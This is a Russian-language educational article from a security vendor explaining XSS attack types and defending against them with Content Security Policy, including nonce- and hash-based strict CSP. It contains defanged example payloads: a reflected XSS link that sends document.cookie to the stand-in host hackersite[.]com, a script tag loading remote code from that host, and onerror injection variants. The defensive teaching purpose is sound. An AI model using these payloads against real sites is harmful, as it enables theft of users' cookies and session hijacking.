Руслан Рахметов, Security Vision
Веб-приложения стали традиционной целью современных кибератак ввиду их сетевой доступности, обработки ценной для атакующих информации (персональные данные, платежная информация) и подверженности распространенным веб-уязвимостям. Веб-инъекции - один из наиболее популярных векторов кибератак на веб-приложения, в котором злоумышленники пользуются отсутствием должной проверки безопасности вводимых пользователями данных в веб-приложениях. Уязвимости типа XSS (межсайтовый скриптинг) давно известны и широко используются атакующими, поэтому для защиты от них разработаны стандарты безопасности, такие как Content Security Policy (CSP) - сегодня мы обсудим XSS-атаки и методы защиты от них.
В предыдущей статье мы рассказали об SQL-инъекциях, которые объединены с XSS в списке наиболее распространенных типов веб-уязвимостей проекта безопасности веб-приложений OWASP (Open Web Application Security Project). Уязвимости типа XSS (Cross-Site Scripting, межсайтовый скриптинг) - это разновидность веб-инъекций, при которой атака выполняется путем внедрения вредоносного JavaScript-кода на уязвимую веб-страницу или в веб-запрос. Вредоносный JavaScript-код исполняется на клиентском устройстве, приводя к некорректному отображению сайтов, краже данных пользователей, хищению авторизационных файлов cookie или токенов JWT, запуску ВПО на устройстве, но может стать и причиной компрометации веб-сервера (атаки типа XSS to RCE).
Причины появления XSS-уязвимостей перечислены на странице с описанием CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) («Некорректная нейтрализация вводимых данных во время генерации веб-страницы»), а методы атак указаны на странице с описанием CAPEC-63: Cross-Site Scripting (XSS).
Уязвимости XSS традиционно разделяют на три типа:
1) Reflected XSS (Non-Persistent / Type I) - отражённые XSS-уязвимости («непостоянные / типа I»): вредоносный скрипт не хранится на уязвимом веб-сервере, а передаётся пользователю - например, посредством фишингового email или ссылки на сайте, контролируемом атакующим. Вредоносное содержимое может включаться в параметры URI (т.е. в текст ссылки) или HTTP (в виде заголовков).
Приведем пример: если сайт интернет-магазина уязвим для атак методом Reflected XSS, то злоумышленники смогут отправить жертве фишинговую ссылку вида:
hxxps://supershop[.]com/products?category=<script>alert('XSS');</script>
При переходе по этой ссылке жертва увидит модальное окно с сообщением «XSS».
Разумеется, в реальных атаках злоумышленники будут использовать не alert(), а другие функции и директивы - например, для получения cookie-файлов:
hxxps://supershop[.]com/products?category=<script>document.location='hxxps://hackersite[.]com/?'+document.cookie</script>
Когда пользователь перейдет по такой ссылке, атакующий на своем сайте hackersite[.]com увидит веб-подключение от ПК пользователя-жертвы со значением cookie от сайта supershop[.]com.
Заголовки HTTP могут использоваться для XSS-атак в том случае, если уязвимый сайт некорректно обрабатывает заголовки, невидимые пользователю - например, атакующий может передавать уязвимому сайту запрос с заголовком «Referer», содержащим вредоносный скрипт.
2) Stored XSS (Persistent / Type II) - хранимые XSS-уязвимости («постоянные / типа II»): вредоносный скрипт размещается на уязвимом веб-сервере - например, в поле для ввода комментариев, в виде поста на форуме, в поле с описанием профиля пользователя. Данная атака опасна тем, что вредоносный скрипт может быть выполнен сразу на множестве клиентских устройств, приводя к масштабной компрометации.
Например, атакующий может попытаться создать сообщения на форуме с такими вариантами запуска вредоносного скрипта (с условным названием «code»):
<img src="hat001.png" onerror="code()">
<script>code()</script>
<script src="hxxps://hackersite[.]com/code.js"></script>
3) DOM-Based XSS (Type 0) - XSS, основанные на модели DOM («типа 0»): уязвимость данного типа реализуется через атаку на DOM (Document Object Model, объектная модель документа) в HTML и XML, при этом вредоносный код исполняется не на веб-странице, а в браузере пользователя-жертвы. Отметим, что небезопасная обработка данных DOM может привести к различным уязвимостям.
Для защиты веб-приложений и данных пользователей применяются различные технологии, включая Same-Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), HSTS (HTTP Strict Transport Security), Anti-CSRF токены, атрибуты SameSite, HttpOnly, Secure для cookie-файлов. Для защиты от XSS-атак используется стандарт безопасности содержимого Content Security Policy (CSP) - политика, управляющая разрешениями по загрузке веб-приложением ресурсов, таких как скрипты, шрифты, стили и изображения. Настроенная на веб-сайте политика CSP позволяет задавать директивы, в которых определяются правила загрузки ресурсов. Затем директивы CSP передаются браузеру и выполняются им - соответственно, можно, например, настроить загрузку скриптов только из доверенного источника (с помощью директивы script-src), ограничить отображение popup-окон (с помощью директивы sandbox), определить домен назначения при отправке заполняемых веб-форм (с помощью директивы form-action). В соответствии с текущей версией стандарта Content Security Policy Level 3, директивы CSP разделяются на следующие типы:
• Директивы получения (Fetch Directives) контролируют расположение, из которого могут быть загружены различные типы ресурсов (например, скрипты, шрифты, стили, изображения);
• Директивы документа (Document Directives) определяют свойства документа (веб-страницы), к которому применяется политика CSP;
• Директивы навигации (Navigation Directives) управляют расположениями документов и встраиваемых элементов (ранее возможность загрузки страниц в iframe контролировалась в ныне устаревшем HTTP-заголовке X-Frame-Options);
• Директивы отчетности (Reporting Directives) определяют получателя отчета о нарушении CSP.
Приведем пример: допустим, владелец сайта supershop[.]com настроил политику CSP для определенной веб-страницы с минимальной гранулярностью, задав следующую директиву:
Content-Security-Policy: script-src 'self'
Данная директива сообщает браузеру пользователя, что на этой веб-странице могут исполнятся только те скрипты, которые размещены на ней. Таким образом, на странице hxxps://supershop[.]com/products будут выполняться только те JavaScript, которые размещены на hxxps://supershop[.]com. Предположим, что сайт уязвим для XSS и атакующие создали сообщения на форуме с такими вариантами запуска вредоносных скриптов:
<img src="hat001.png" onerror="code()">
<script>code();</script>
<script src="hxxps://hackersite[.]com/code.js"></script>
В первых двух строках источник скриптов не указан, поэтому они не будут выполнены. В третьей строке скрипт размещен на ресурсе hackersite[.]com, который отличается от supershop[.]com, с которого разрешено запускать скрипты. Таким образом, ни один из вредоносных скриптов не будет запущен.
Подобный метод составления разрешительного списка (allow-list) достаточно трудозатратен, поэтому для составления CSP-директив используют режим «Strict CSP» с использованием одного из двух механизмов - nonce или hash:
1) Nonce-based Strict CSP.
Под nonce понимается строка случайных символов одноразового использования. Администратор сайта добавляет для каждого скрипта функцию вычисления nonce-значения, которое создаётся случайным образом при каждом веб-запросе. Таким образом, браузер пользователя получит скрипт-блок такого вида, например:
<script nonce="1e31b6130c5be9ef4cbab7eb38df5491">
code();
</script>
Сайт передаст браузеру пользователя CSP-заголовок вида:
Content-Security-Policy: script-src 'nonce-1e31b6130c5be9ef4cbab7eb38df5491'
Соответственно, браузер сравнит nonce-значение из CSP-заголовка и атрибута nonce из скрипт-блока - выполнение скрипта начнется только при совпадении значений. Однако следует помнить, что nonce-значения должны иметь длину минимум 128 бит и генерироваться с использованием криптографически стойкого генератора псевдослучайных чисел.
2) Hash-based Strict CSP.
Для блоков скриптов и для JS-файлов (за счет функции SRI - Subresource Integrity) владелец сайта предварительно рассчитывает значение хэш-суммы (поддерживаются алгоритмы SHA-256, SHA-384, SHA-512) и записывает в тэг «script-src» значение выбранного алгоритма и значение хэш-суммы в кодировке base64.
Например, для блока <script>doSomething();</script> мы получим следующее хэш-значение в кодировке base64:
'saHFqbINEXd74roLLRHGVLDDrf6Yc22KGQviDRhbxE4='
Его затем запишем в CSP-заголовок в виде:
Content-Security-Policy: script-src 'sha256-saHFqbINEXd74roLLRHGVLDDrf6Yc22KGQviDRhbxE4=';
Таким образом, браузер перед обработкой этого скрипт-блока самостоятельно рассчитает значение его хэш-суммы и сверит с тем, которое передаётся в CSP-заголовке - выполнение скрипта начнется только при совпадении значений. Однако, даже при малейшем изменении скриптов на странице администратору сайта придётся заново вычислять хэши и обновлять CSP-заголовки.
Разумеется, Content Security Policy не может считаться стопроцентной защитой от XSS-атак, поскольку существуют различные техники обхода настроенной политики CSP. Для минимизации рисков эксплуатации XSS-уязвимостей веб-разработчикам следует руководствоваться рекомендациями по написанию безопасного кода, специалистам по кибербезопасности - внедрять и тонко настраивать решения класса WAF (Web Application Firewall, межсетевые экраны уровня приложений), а пользователям можно порекомендовать использовать браузерные расширения, позволяющие контролировать работу JavaScript (например, расширение NoScript).